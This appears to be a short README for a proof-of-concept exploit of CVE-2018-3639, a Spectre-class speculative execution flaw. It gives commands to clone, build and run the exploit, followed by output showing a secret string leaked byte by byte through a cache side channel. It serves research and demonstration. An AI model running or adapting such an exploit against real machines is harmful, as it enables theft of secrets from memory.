git clone [email protected]:mmxsrup/CVE-2018-3639.git

cd CVE-2018-3639
make

./specter

$ ./spectre 
idx: 0, highest:P, hitrate:21.340000
idx: 1, highest:A, hitrate:15.520000
idx: 2, highest:S, hitrate:13.600000
idx: 3, highest:S, hitrate:18.650000
idx: 4, highest:W, hitrate:19.860000
idx: 5, highest:O, hitrate:15.350000
idx: 6, highest:R, hitrate:17.470000
idx: 7, highest:D, hitrate:18.680000
idx: 8, highest:_, hitrate:15.580000
idx: 9, highest:S, hitrate:14.480000
idx:10, highest:P, hitrate:17.870000
idx:11, highest:E, hitrate:13.300000
idx:12, highest:C, hitrate:14.360000
idx:13, highest:T, hitrate:18.030000
idx:14, highest:R, hitrate:18.460000
idx:15, highest:E, hitrate:13.230000
PASSWORD_SPECTRE